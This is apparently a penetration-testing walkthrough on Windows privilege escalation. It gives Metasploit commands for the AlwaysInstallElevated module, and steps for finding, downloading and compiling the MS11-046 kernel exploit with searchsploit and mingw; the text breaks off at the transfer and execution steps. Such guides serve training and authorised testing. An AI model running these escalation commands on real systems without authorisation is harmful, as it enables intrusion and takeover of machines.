Exploiting with Metasploit¶
-
We discovered that the target is potentially vulnerable to the following kernel vulnerabilities:
Note:
exploit/windows/local/always_install_elevated
enables privilege escalation by abusing the AlwaysInstallElevated policy on Windows systems. -
For this exploit, set the
LHOST
,LPORT
, andSESSION
fields.SESSION
should be the active Meterpreter session (e.g., 1).LPORT
must be different from the port used in the initial session (1338 in this case).
use exploit/windows/local/always_install_elevated set SESSION 1 set LHOST [IP-ADDRESS] set LPORT [PORT] run
-
Run the exploit to obtain a SYSTEM shell.
Exploiting with Windows Exploit Suggester¶
-
Using Windows Exploit Suggester, we identified that the target is potentially vulnerable to several kernel exploits:
python3 wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only
-
Download and compile an exploit using
searchsploit
:searchsploit 40564 searchsploit -m windows_x86/local/40564.c x86_64-w64-mingw32-gcc 40564.c -o ms11-046.exe -lws2_32
-
Alternatively, search for a pre-compiled version of the exploit.
Note: Be cautious with pre-compiled executables as they may contain backdoors. Always use trusted sources.
-
Example: MS11-046 pre-compiled exploit.
-
To download, click the Raw link for the executable.
-
Transfer the exploit to the target machine (see File Transfer section for techniques). Example using a Python HTTP server:
-
Execute the exploit on the target and confirm successful privilege escalation. Example using
certutil
: